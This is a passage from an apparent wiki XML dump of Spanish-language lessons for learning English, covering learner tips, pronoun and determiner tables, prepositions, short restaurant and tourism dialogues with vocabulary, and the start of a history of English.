#Translations are often not exact. (Las Traducciones frecuentemente no son exactas) Hay bastantes diferencias entre la estructura del español y la del inglés que hacen que una traducción exacta (palabra por palabra) no tenga el mismo significado en inglés que en español. De hecho, muchas veces la traducción “precisa” no tiene ningún significado en inglés. Eso se aplica también a los modismos. 
#A word in one context often means something else in another context (una palabra en un contexto frecuentemente tiene otro significado en otro contexto) En ese sentido el inglés es más flexible, porque en lugar de inventar una palabra nueva, muchas veces usan una palabra vieja pero con un nuevo significado. Eso resulta a veces en traducciones inexactas (ver número 1 arriba). 
#False cognates (cognates falsos, los “falsos amigos”) De vez en cuando, encontrarás una palabra en inglés que se parece a una palabra española. Pero resulta que no significa lo mismo. No pasa mucho, pero puede ser causa de confusión. Por ejemplo, “library” no quiere decir librería, sino biblioteca. Y “once” no es diez mas uno, sino &quot;una vez&quot;. Y &quot;actually&quot; no es actualmente sino &quot;de hecho&quot;. &quot;Eventually&quot; no significa eventualmente, sino finalmente. &quot;Pretend&quot; no es pretender, sino suponer. Ojo con decir en la farmacia que estás &quot;constipated&quot;, porque no te darán algo para el constipado, sino para el estreñimiento. &quot;Carpet&quot; es alfrombra, no carpeta.
#It’s a whole different language! (¡Es una lengua totalmente diferente!) No creas que en una semana vas a aprender a hablar con tus amigos norteamericanos. Se requiere tiempo y esfuerzo. Vamos a procurar que este tiempo y esfuerzo sean divertidos y de buen provecho.

== Important tips (unos consejos importantes) ==

How to learn English more quickly (cómo aprender el inglés más rápidamente) 

#Have fun with it! (diviértete con eso) la manera en que se te va a grabar más es gozando lo más posible con lo que estás haciendo. Aprender debe ser una diversión, no un trabajo. 
#Be consistent in study (se constante en estudiar) Debes repasar regularmente lo que estás aprendiendo, aunque por poquito tiempo. Lo recomendable es por lo menos unos 15 minutos al día. 
#Listen carefully (escucha cuidadosamente) El inglés tiene sonidos que no existen en el español. No lo tienes que pronunciar perfectamente para darte a entender,pero lo más que puedes reproducir los sonidos de un norteamericano, más natural se te va a escuchar y mejor se te va a entender.
#Practice, practice, practice (práctica, práctica, práctica) Busca oportunidades de practicar tu inglés, en la tele, leyendo, hablando con amigos imaginarios, etc. 
#Make it part of your daily life (hazlo parte de tu diario vivir) Si vas al gimnasio, haz tus repeticiones en inglés. Si estás haciendo una lista de quehaceres, hazlo en inglés. No importa si no sabes todas las palabras – haz la parte que sepas hacer en inglés y el resto en español. 
#Show off to your friends (presume a tus amigos) Te van a tener envidia cuando vean que estás aprendiendo cada vez más. 
#Do your homework (Haz tu tarea) Cuando tengas tarea de inglés, ¡hazlo! Es una buena forma de practicar.

== Enlaces ==
http://www.world-english.org/how_to_learn_english.htm</text>
      <sha1>emvyl0hzveoqbz504yduipfhhcr655o</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Pronombres personales</title>
    <ns>0</ns>
    <id>2442</id>
    <revision>
      <id>429823</id>
      <parentid>403160</parentid>
      <timestamp>2026-08-01T22:01:58Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429823</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3312" sha1="n2zixpmdsjtk3r00fzc85aolj7h6cae" xml:space="preserve">===Pronombres en el caso nominativo===
{| border=&quot;1&quot; style=&quot;text-align:center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
! colspan=2 | &amp;nbsp; !! singular !! plural
|-
! colspan=2 | primera persona
| ''I'' || ''we''
|-
! colspan=2 | segunda persona
| ''you'' || ''you''
|-
! rowspan=3 | tercera persona !! masculino
| ''he'' || ''they''
|-
! femenino 
| ''she'' || ''they''
|-
! indefinido
| ''it'' || ''they''
|}

*nota:  &quot;''you''&quot; plural es &quot;''y'all''&quot; y &quot;''you guys''&quot; en muchos lugares para distinguir su uso en plural, como &quot;vosotros&quot; se usa en España (aunque en inglés escrito no es correcto). &quot;''y'all''&quot; se usa en el sur de los EEUU y en muchos lugares rurales. Muchas personas en los EEUU usan &quot;''you guys''&quot;.  &quot;''y'all''&quot; es una contracción de &quot;''you''&quot; y &quot;''all''&quot;, en español, &quot;todos vosotros/uds.&quot;

===Pronombres en el caso acusativo===
{| border=&quot;1&quot; style=&quot;text-align:center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
! colspan=2 | &amp;nbsp; !! singular !! plural
|-
! colspan=2 | primera persona
| ''me'' || ''us''
|-
! colspan=2 | segunda persona
| ''you'' || ''you''
|-
! rowspan=3 | tercera persona !! masculino
| ''him'' || ''them''
|-
! femenino 
| ''her'' || ''them''
|-
! indefinido
| ''it'' || ''them''
|}
*nota:  &quot;''you''&quot; plural es &quot;''y'all''&quot; y &quot;''you guys''&quot; en muchos lugares (coloquialmente). Mira arriba.

===Pronombres en el caso dativo===
{| border=&quot;1&quot; style=&quot;text-align:center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
! colspan=2 | &amp;nbsp; !! singular !! plural
|-
! colspan=2 | primera persona
| ''me'' || ''us''
|-
! colspan=2 | segunda persona
| ''you'' || ''you''
|-
! rowspan=3 | tercera persona !! masculino
| ''him'' || ''them''
|-
! femenino 
| ''her'' || ''them''
|-
! indefinido
| ''it'' || ''them''
|}

===Adjetivos posesivos===
{| border=&quot;1&quot; style=&quot;text-align:center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
! colspan=2 | &amp;nbsp; !! singular !! plural
|-
! colspan=2 | primera persona
| ''my'' || ''our''
|-
! colspan=2 | segunda persona
| ''your'' || ''your''
|-
! rowspan=3 | tercera persona !! masculino
| ''his'' || ''their''
|-
! femenino 
| ''her'' || ''their''
|-
! indefinido
| ''its'' || ''their''
|}
*nota:  &quot;''your''&quot; plural es &quot;''y'all's''&quot;, &quot;''you guys' ''&quot; en muchos lugares (en forma coloquial). Mira arriba.

===Pronombres posesivos===
{| border=&quot;1&quot; style=&quot;text-align:center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
! colspan=2 | &amp;nbsp; !! singular !! plural
|-
! colspan=2 | primera persona
| ''mine'' || ''ours''
|-
! colspan=2 | primera persona
| ''mine'' || ''ours''
|-
! colspan=2 | segunda persona
| ''yours'' || ''yours''
|-
! rowspan=3 | tercera persona !! masculino
| ''his'' || ''theirs''
|-
! femenino 
| ''her'' || ''theirs''
|-
! indefinido
| ''its'' || ''theirs''
|}

.

== Ejemplos ==

'''I''' am a student. ('''Yo''' soy un estudiante.)

I see '''her'''.  (Yo '''la''' veo.)

She gave '''me''' the money.  (Ella '''me''' dio el dinero.)

I prefer '''your''' house.  (Prefiero '''tu''' casa.)

It is '''mine'''. ([Esto] es '''mío'''.)

== Pronombre Arcaico Thou ==
En el inglés también existe el pronombre ''thou'' que se traduce como vos/vosotros al español, sin embargo este pronombre ha caído en desuso y sólo se encuentra en obras literarias. El caso acusativo y dativo es ''thee'' y el posesivo es ''thy'' o ''thine''.

[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>n2zixpmdsjtk3r00fzc85aolj7h6cae</sha1>
    </revision>
    <revision>
      <id>429911</id>
      <parentid>429823</parentid>
      <timestamp>2026-08-01T22:09:13Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429911</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3272" sha1="5eu2m8731yu32yzcld4ot041nengg0i" xml:space="preserve">===Pronombres en el caso nominativo===
{| border=&quot;1&quot; style=&quot;text-align:center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
! colspan=2 | &amp;nbsp; !! singular !! plural
|-
! colspan=2 | primera persona
| ''I'' || ''we''
|-
! colspan=2 | segunda persona
| ''you'' || ''you''
|-
! rowspan=3 | tercera persona !! masculino
| ''he'' || ''they''
|-
! femenino 
| ''she'' || ''they''
|-
! indefinido
| ''it'' || ''they''
|}

*nota:  &quot;''you''&quot; plural es &quot;''y'all''&quot; y &quot;''you guys''&quot; en muchos lugares para distinguir su uso en plural, como &quot;vosotros&quot; se usa en España (aunque en inglés escrito no es correcto). &quot;''y'all''&quot; se usa en el sur de los EEUU y en muchos lugares rurales. Muchas personas en los EEUU usan &quot;''you guys''&quot;.  &quot;''y'all''&quot; es una contracción de &quot;''you''&quot; y &quot;''all''&quot;, en español, &quot;todos vosotros/uds.&quot;

===Pronombres en el caso acusativo===
{| border=&quot;1&quot; style=&quot;text-align:center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
! colspan=2 | &amp;nbsp; !! singular !! plural
|-
! colspan=2 | primera persona
| ''me'' || ''us''
|-
! colspan=2 | segunda persona
| ''you'' || ''you''
|-
! rowspan=3 | tercera persona !! masculino
| ''him'' || ''them''
|-
! femenino 
| ''her'' || ''them''
|-
! indefinido
| ''it'' || ''them''
|}
*nota:  &quot;''you''&quot; plural es &quot;''y'all''&quot; y &quot;''you guys''&quot; en muchos lugares (coloquialmente). Mira arriba.

===Pronombres en el caso dativo===
{| border=&quot;1&quot; style=&quot;text-align:center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
! colspan=2 | &amp;nbsp; !! singular !! plural
|-
! colspan=2 | primera persona
| ''me'' || ''us''
|-
! colspan=2 | segunda persona
| ''you'' || ''you''
|-
! rowspan=3 | tercera persona !! masculino
| ''him'' || ''them''
|-
! femenino 
| ''her'' || ''them''
|-
! indefinido
| ''it'' || ''them''
|}

===Adjetivos posesivos===
{| border=&quot;1&quot; style=&quot;text-align:center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
! colspan=2 | &amp;nbsp; !! singular !! plural
|-
! colspan=2 | primera persona
| ''my'' || ''our''
|-
! colspan=2 | segunda persona
| ''your'' || ''your''
|-
! rowspan=3 | tercera persona !! masculino
| ''his'' || ''their''
|-
! femenino 
| ''her'' || ''their''
|-
! indefinido
| ''its'' || ''their''
|}
*nota:  &quot;''your''&quot; plural es &quot;''y'all's''&quot;, &quot;''you guys' ''&quot; en muchos lugares (en forma coloquial). Mira arriba.

===Pronombres posesivos===
{| border=&quot;1&quot; style=&quot;text-align:center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot;
! colspan=2 | &amp;nbsp; !! singular !! plural
|-
! colspan=2 | primera persona
| ''mine'' || ''ours''
|-
! colspan=2 | primera persona
| ''mine'' || ''ours''
|-
! colspan=2 | segunda persona
| ''yours'' || ''yours''
|-
! rowspan=3 | tercera persona !! masculino
| ''his'' || ''theirs''
|-
! femenino 
| ''her'' || ''theirs''
|-
! indefinido
| ''its'' || ''theirs''
|}

.

== Ejemplos ==

'''I''' am a student. ('''Yo''' soy un estudiante.)

I see '''her'''.  (Yo '''la''' veo.)

She gave '''me''' the money.  (Ella '''me''' dio el dinero.)

I prefer '''your''' house.  (Prefiero '''tu''' casa.)

It is '''mine'''. ([Esto] es '''mío'''.)

== Pronombre Arcaico Thou ==
En el inglés también existe el pronombre ''thou'' que se traduce como vos/vosotros al español, sin embargo este pronombre ha caído en desuso y sólo se encuentra en obras literarias. El caso acusativo y dativo es ''thee'' y el posesivo es ''thy'' o ''thine''.

{{AutoCat}}</text>
      <sha1>5eu2m8731yu32yzcld4ot041nengg0i</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Determinantes</title>
    <ns>0</ns>
    <id>2443</id>
    <revision>
      <id>429799</id>
      <parentid>206371</parentid>
      <timestamp>2026-08-01T21:59:36Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429799</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="8081" sha1="hwxfz4md9ob7yolo7qyeetlt74bvir4" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
EL ARTÍCULO INDEFINIDO

En inglés el artículo indefinido es a/an que en español equivale a uno/una. 

·En inglés '''a''' se utiliza para nombres que empiezan por consonante. 
·'''An''' se usa para nombres que empiezan por vocal.
    
              a book   - un libro
              an apple - una manzana
          El sonido primero del nombre (no necesariamente la letra) distingue entre «a» y «an»:
              a horse / an hour      - un caballo / una hora
              a university / an ulna - una universidad / un cúbito

pero a/an en conjunto y cumpliendo esta regla se utiliza:
Delante de un nombre singular, contable, que se menciona por primera vez en la oración,
Delante de profesiones,
Con expresiones de precio, velocidad, etc.

nunca se utiliza:
delante de nombres en pluraL,delante de nombres que no sean contables
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot;
|+ style=&quot;font-size:18px&quot;|Determiners (Determinantes)
| style=&quot;font-size:15px&quot; align=&quot;center&quot;|'''Artículos y demostrativos''' ||style=&quot;font-size:15px&quot; align=&quot;center&quot;| ||   || style=&quot;font-size:15px&quot; align=&quot;center&quot;|'''Posesivos''' ||style=&quot;font-size:15px&quot; align=&quot;center&quot;| 

|-
| '''a'''|| un / una ||b ||  '''my''' || mi
|-
| '''the'''|| el / la / los / las || ||  '''your''' || tu
|-
| '''this'''|| este / esta || ||  '''his'''|| su (de él)
|-
| '''that'''|| ese / esa / aquel / aquella || ||  '''her'''|| su (de ella)
|-
| '''these'''|| estos / estas || || '''-'''|| suyo (de ello)
|-
| '''those'''|| aquellos / aquellas || || '''our'''|| nuestro
|-
| '''you'''||vosotros|| || '''your'''|| vuestro
|-
| '''they'''||ellos|| || '''their'''|| su (de ellos)
|-
|}

Contrasta las diferencias entre los determinantes posesivos y los [[Inglés/Pronombres|pronombres posesivos]].

ARTICLES
LEARN ENGLISH DEFINITE ARTICLES English Definite Articles are the words we use to define the nouns (specifically). In English we only have one definite article, we are talking about the word &quot;the &quot;. The English article will always precede the noun that it is determining. Eg: The dog. (El perro) (article + noun)

The white house on the green hill. (La casa blanca sobre la colina verde) (article + adjective + noun + preposition + article + adjective + noun)

Unlike Spanish, in English we do not distinguish between masculine and feminine, singular and plural forms in the articles and adjectives . So the English article &quot;the&quot; is the equivalent to the Spanish articles &quot;EL, LA, LOS, LAS&quot;. This single form &quot;the&quot; is used with all kinds of nouns, singular, plural, countable and uncountable.


SOME GENERAL USES

We generally use the definite article to refer to a particular person or object. This means that both, the person who is talking and the person who is listening, know which person or object has been mentioned. E.g: The book you lent me is very interesting. (El libro que me prestaste es muy interesante)

The boy with the bicycle came this morning. (El niño con la bicicleta vino esta mañana)

We also use the definite article to speak about a person or object that has been mentioned previously. E.g: I bought a book last week but now I can't find the book. (Compré un libro la semana pasada pero ahora no puedo encontrar el libro)

In a similar case, we use the definite article when we speak about an object or person where it is impossible to get mistaken to which one we are referring. E.g: It is on the table. (Está sobre la mesa)

Close the door behind you, please. (Cierra la puerta detrás de tí, por favor)


It is also used to group objects or people by an adjective. E.g: The Irish are very polite. (Los irlandeses son muy educados)


To speak about public places, the use of the definite article is going to determine the meaning of the sentence, that is, if the definite article is present, our sentence is going to have a different meaning than that of the same sentence without the definite article. E.g: John is in hospital (in this case John is a patient) (John está en el hospital) In Spanish we always use the definite article before the names of public places.

John is in the hospital (John está en el hospital) In this example, John can be working there or visiting a patient, however he might not be a patient in the hospital.

SOME GENERAL OMISSIONS OF THE DEFINITE ARTICLE


We do not use the definite article before plural nouns when we speak about them in a general way. E.g: Cars are expensive. (Los coches son caros) We mean that all the cars in the world are expensive and not a specific brand of cars.

We never use a definite article before proper nouns, including the names of the streets. E.g: I see Mary every day. (Veo a Mary todos los días)

I see Mrs. Smith every day. (Veo a la señora Smith todos los días)

We walked down Oxford Street. (Bajamos la calle Oxford)

For dates, although they can be written without &quot;the&quot; in the spoken language it is used. E.g: 9th March 2005 (9 de marzo de 2005) (in the spoken language we would say: the ninth of March 2005)

When talking about substances, materials or colours we do not use the definite article before the them. E.g: Red is a bright colour. (El rojo es un color vivo)

Steel is a very heavy metal. (El acero es un metal muy pesado)


When talking about the parts of the body and using the verb &quot;to have&quot; we also have to omit the definite article. E.g: That girl has blue eyes. (Esa niña tiene los ojos azules)


The conjunction &quot;and&quot; joins the sentences: &quot;we eat at home&quot; with &quot;we work in the office&quot;.


We divide conjunctions in Coordinating, Correlative and Subordinating conjunctions.

Coordinating conjunctions are used when we want to join two sentences that work at the same level of importance in our speech, both actions are equally important. These conjunctions are:


And (y) Now (ahora bien) But (pero) Still (sin embargo) So (así que) Only (sólo que) Therefore (por lo tanto) Yet (pero, sin embargo) Nevertheless (no obstante) For (ya que) However (sin embargo) Either...or... (o... o.) While (mientras) Neither. nor. (ni. ni.) Then (entonces) So then (por tanto)


Eg:

We had a salad and an ice cream. (Nos tomamos una ensalada y un helado)

In this example we are using the coordinating conjunction &quot;and&quot; to join two objects within the same sentence.

We went to the swimming pool and had lunch there. (Fuimos a la piscina y comimos allí)

In this example we are using the coordinating conjunction &quot;and&quot; to join two different sentences, &quot;we went to the swimming pool&quot; with &quot;(we) had lunch there&quot;.


Correlative conjunctions are used to join, or simply to show any relation, between the idea or different ideas mentioned in different parts of the sentence. They are always used in pairs. These conjunctions are:

Either..or (o.o) If . then (si . entonces) Neither. nor (ni.ni) No sooner . than (apenas . cuando) Both . and (y.y) Scarcely . when (apenas . cuando) Not only . but also (no solo . pero también) What with . and Rather . than (en vez de) Whether . or (si . o) Eg:

You have two options, either you learn English, or you learn Spanish. (Tienes dos opciones, o aprendes Inglés, o aprendes Español)

In this example, we are using the correlative conjunction &quot;either . or&quot; to show the relation, in this case of option, between &quot;you learn English&quot; and &quot;you learn Spanish&quot;.

Subordinating conjunctions are used to join two sentences when one of them is depending on the first one. They are:


That (que) Although, though (aunque) Because of (debido a) While (en tanto que) Since (ya que, puesto que) Until (hasta que) As (pues, como) As if, as though (como si) So that (a fin de que) When (cuando) Lest (para que no) Why (por que) If (si) In order that (para, a fin de que) Unless (a menos que) Whether... or (si... o)


Eg:

This is the restaurant that I told you about. (Este es el restaurante del que te hablé)

In this example, the subordinating conjunction &quot;that&quot; introduces the sentence &quot;I told you about&quot; which is dependent on the first sentence &quot;this is the restaurant&quot;.

{{AutoCat}}</text>
      <sha1>hwxfz4md9ob7yolo7qyeetlt74bvir4</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Preposiciones</title>
    <ns>0</ns>
    <id>2445</id>
    <revision>
      <id>429801</id>
      <parentid>166557</parentid>
      <timestamp>2026-08-01T21:59:46Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429801</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3925" sha1="ioxk5fatilcw611n6m58dxoacvbh9u4" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
== PREPOSITIONS ==
=== MOVEMENTS and POSITIONS ===
&lt;gallery&gt;
Image:Hacia_dentro.PNG|INWARDS
Image:Hacia_fuera.PNG|OUTWARDS
Image:A_través.png|THROUGH
Image:Delante.PNG|IN FRONT OF
Image:Detrás.PNG|BEHIND
Image:Cerca.PNG|NEAR
Image:Lejos.PNG|FAR
Image:Debajo.png|UNDER
Image:Encima.png|ON
Image:Dentro.png|IN
&lt;/gallery&gt;
(Si no reconoces el significado de la imagen, pon el ratón sobre la imagen y lee la ventana desplegable).

*'''In front of:''' Equivale a ''dar la cara a algo'', o sea, estar ''enfrente de'' lo que sea. 
*'''Between:''' Se utiliza como equivalente a ''entre'', ''en medio de de'', siempre y cuando se trate únicamente de dos personas u objetos. &quot;The table is between you and me&quot; (La mesa está entre o en medio de usted y de mí).
*'''Behind:''' Equivale a nuestro ''detrás'', un ''detrás'' inmediato al sujeto u objeto al que se refiere.
*'''Before''' tiene un sentido de preferencia, de ''antes de'' (tal cosa). Before casi siempre indica un orden, como si expresáramos la idea: ''está oscuro '''antes''' del amanecer.
Naturalmente, before coincide con in front en la idea de que la persona u objeto está delante de algo, pero con la diferencia siguiente:
'''In front''' es ''delante'' a secas, sin más.
'''Before''' es ''delante'' pero indicando que ''algo'' '''sigue detrás''', precisamente para establecer la categoría de ''delantero''.
*'''FROM''' Cuando el ''de'' ha de expresar '''dirección''', e indicar '''desde''', procedencia, origen, punto del que proviene alguna cosa, en inglés diremos '''from'''. '''I am coming from the window''' (Estoy viniendo de (desde) la ventana).
*'''OF''' Cuando el ''de'' denota propiedad, posesión, materia de que está hecho un objeto, características del mismo, etc., no puede utilizarse el from; debe aplicarse el '''OF'''. '''The colour of the table''' (El color de la mesa).
*'''TO''' Todo lo contrario de from. Si from equivale a nuestro ''de'', ''desde'', el ''to'' significa '''dirección hacia''', es decir equivale a nuestras preposiciones '''a''', '''para'''.
'''You are coming to the table''' (Usted está viniendo a (hacia) la mesa).
'''To''' es utilizado en inglés para indicar el '''infinitivo''' de los verbos. ¿Por qué?. El infinitivo indica que la acción del verbo se realiza sin precisar cuándo ni por quién. En inglés, dada que su psicología es de acción absoluta, se considera que el verbo ''expresa'' en forma latente una tendencia, una '''dirección'''. De ahí que antepongan la partícula '''to''', que indica '''para''', '''a'''. Por ejemplo, '''tomar''' (infinitivo), es en inglés '''to take''', que viene a ser la expresión de la idea ''a tomar'' ''para (la acción de ) tomar''.
*'''AMONG''' Si usted (persona) o un objeto (cosa) se encuentra entre '''varias''' personas, o el objeto entre varios otros, entonces debe utilizar '''among'''.
'''Among these letters there is one for you''' (Entre estas cartas hay una para usted).
La diferencia de sentido entre '''between''' y '''among''' queda bien establecida si recuerda que ha de utilizar:
'''BETWEEN''' si la persona o cosa está únicamente ''ENTRE DOS'', sean '''dos''' unidades o '''dos grupos''' de unidades.
'''AMONG''' si la persona o cosa está entre o en medio de '''varias''' personas o cosas.


RESUMEN: 

'''A:''' to, at, a

'''Ante:''' before

'''Bajo:''' under, below (temperatura)

'''Con:''' with

'''Contra:''' against

'''De:''' of, from

'''Desde:''' from, since

'''En:''' in, into (dentro/mes o año), on (sobre/día), at (punto concreto)

'''Entre:''' between, among (entre muchos)

'''Hacia:''' towards 

'''Hasta:''' as far as, up to, until, till

'''Para:''' for, to, 

'''Por:''' because of, for 

'''Según:''' according to, depending on

'''Sin:''' without

'''Sobre:''' on, over, about

'''Tras:''' behind, after

'''Durante:''' during, for

'''Mediante:''' by means of

{{AutoCat}}</text>
      <sha1>ioxk5fatilcw611n6m58dxoacvbh9u4</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/En el restaurante</title>
    <ns>0</ns>
    <id>2446</id>
    <revision>
      <id>429843</id>
      <parentid>331164</parentid>
      <timestamp>2026-08-01T22:04:25Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429843</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1289" sha1="fi7ananr61fjzcx7rov8q43ephxzejr" xml:space="preserve">== Conversation ==
Waiter: Hello.

Client: Hello.

Waiter: May I '''serve''' you?

Client: Yes, thank you. We would like to '''order''' two '''meals''', please.

Client's son: I want to eat '''fish and chips'''.

Client: And I will eat a '''piece''' of '''pie'''.

Waiter: What would you like to '''drink'''?

Client: An '''orange juice''' for my son and a '''red wine''' for me.

Waiter: Will you eat any '''dessert'''? 

Client: Yes, bring us a '''strawberry ice cream''' and a '''rice pudding''', please.

Waiter: All right, would you like something else?

Client: Yes, please. Where is the '''bathroom'''?

Waiter: At the end of the hallway.

Client: Thank you.

== Vocabulary ==

'''waiter''' camarero o mesero

'''serve''' servir

'''eat''' comer

'''lunch''' almuerzo

'''fish and chips''' pescado y patatas fritas (plato típico inglés).

'''piece''' porción 

'''pie''' pastel inglés, normalmente relleno de carne.

'''drink''' beber

'''orange juice''' jugo de naranja

''' red wine''' vino tinto

'''dessert''' postre

'''strawberry ice cream''' helado de fresas

'''rice pudding''' arroz con leche

'''dish''' plato

'''silverware''' cubiertos

'''order''' pedir

'''meal''' comida/plato

'''bathroom''' cuarto de baño


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>fi7ananr61fjzcx7rov8q43ephxzejr</sha1>
    </revision>
    <revision>
      <id>429934</id>
      <parentid>429843</parentid>
      <timestamp>2026-08-01T22:09:19Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429934</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1249" sha1="6wplgcq2wodynpge24khuttvb3v5msk" xml:space="preserve">== Conversation ==
Waiter: Hello.

Client: Hello.

Waiter: May I '''serve''' you?

Client: Yes, thank you. We would like to '''order''' two '''meals''', please.

Client's son: I want to eat '''fish and chips'''.

Client: And I will eat a '''piece''' of '''pie'''.

Waiter: What would you like to '''drink'''?

Client: An '''orange juice''' for my son and a '''red wine''' for me.

Waiter: Will you eat any '''dessert'''? 

Client: Yes, bring us a '''strawberry ice cream''' and a '''rice pudding''', please.

Waiter: All right, would you like something else?

Client: Yes, please. Where is the '''bathroom'''?

Waiter: At the end of the hallway.

Client: Thank you.

== Vocabulary ==

'''waiter''' camarero o mesero

'''serve''' servir

'''eat''' comer

'''lunch''' almuerzo

'''fish and chips''' pescado y patatas fritas (plato típico inglés).

'''piece''' porción 

'''pie''' pastel inglés, normalmente relleno de carne.

'''drink''' beber

'''orange juice''' jugo de naranja

''' red wine''' vino tinto

'''dessert''' postre

'''strawberry ice cream''' helado de fresas

'''rice pudding''' arroz con leche

'''dish''' plato

'''silverware''' cubiertos

'''order''' pedir

'''meal''' comida/plato

'''bathroom''' cuarto de baño


{{AutoCat}}</text>
      <sha1>6wplgcq2wodynpge24khuttvb3v5msk</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/De turismo</title>
    <ns>0</ns>
    <id>2481</id>
    <revision>
      <id>429837</id>
      <parentid>164671</parentid>
      <timestamp>2026-08-01T22:03:56Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429837</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="879" sha1="ehyzo8grw8jhrcz30qln165ba9k6fbf" xml:space="preserve">== ASKING FOR THE BRITISH MUSEUM ==

Tourist: '''Excuse me'''! Could you tell me where the British Museum is?

Londoner: Go '''down that street and '''turn''' left.

Tourist: Where do you mean?

Londoner: '''Beside''' the '''payphone'''. Do you see it?

Tourist: Oh, yes. Thank you.

Londoner: You're welcome.

Tourist: Do you know '''how long''' it is open for?

Londoner: I don't know, sorry.

Tourist: And, how much does it cost?

Londoner: It is '''free''', but you may donate some money at the entrance if you wish to.

Tourist: Wonderful. Thank you very much.

Londoner: No problem. Have a nice day!

== Vocabulary==


'''where''' ''dónde''

'''straight''' ''derecho''

'''turn''' ''doblar''

'''beside''' ''al lado''

'''payphone''' ''cabina telefónica''

'''how long''' ''cuanto tiempo''

'''free''' ''sin costo''


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>ehyzo8grw8jhrcz30qln165ba9k6fbf</sha1>
    </revision>
    <revision>
      <id>429882</id>
      <parentid>429837</parentid>
      <timestamp>2026-08-01T22:09:02Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429882</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="839" sha1="lompx2vav7qb7ubtmf7y8fk7kjvn9ku" xml:space="preserve">== ASKING FOR THE BRITISH MUSEUM ==

Tourist: '''Excuse me'''! Could you tell me where the British Museum is?

Londoner: Go '''down that street and '''turn''' left.

Tourist: Where do you mean?

Londoner: '''Beside''' the '''payphone'''. Do you see it?

Tourist: Oh, yes. Thank you.

Londoner: You're welcome.

Tourist: Do you know '''how long''' it is open for?

Londoner: I don't know, sorry.

Tourist: And, how much does it cost?

Londoner: It is '''free''', but you may donate some money at the entrance if you wish to.

Tourist: Wonderful. Thank you very much.

Londoner: No problem. Have a nice day!

== Vocabulary==


'''where''' ''dónde''

'''straight''' ''derecho''

'''turn''' ''doblar''

'''beside''' ''al lado''

'''payphone''' ''cabina telefónica''

'''how long''' ''cuanto tiempo''

'''free''' ''sin costo''


{{AutoCat}}</text>
      <sha1>lompx2vav7qb7ubtmf7y8fk7kjvn9ku</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Anexo/Breve historia del inglés</title>
    <ns>0</ns>
    <id>2484</id>
    <revision>
      <id>429876</id>
      <parentid>424072</parentid>
      <timestamp>2026-08-01T22:09:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429876</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6371" sha1="pal2lzohcyw5544f0a4rqkwexvvqudk" xml:space="preserve">== Brief history of English - Breve historia del Inglés ==

The English language has changed considerably during its history. According to the Venerable Bede, northern tribes - Angles, Saxons and Jutes - invaded the British Isles in AD 450. Each of these tribes settled in different areas and spoke different Germanic dialects. However, it is believed that during the ninth and tenth centuries, one of those languages was standardised. We now know this standard as '''Old English'''. English was also influenced by: Latin, which was used in Christian services; by Danish, brought by Vikings to the north; and certain Celtic words were taken from the natives who were living in the British Isles before the Anglo-Saxons arrived.

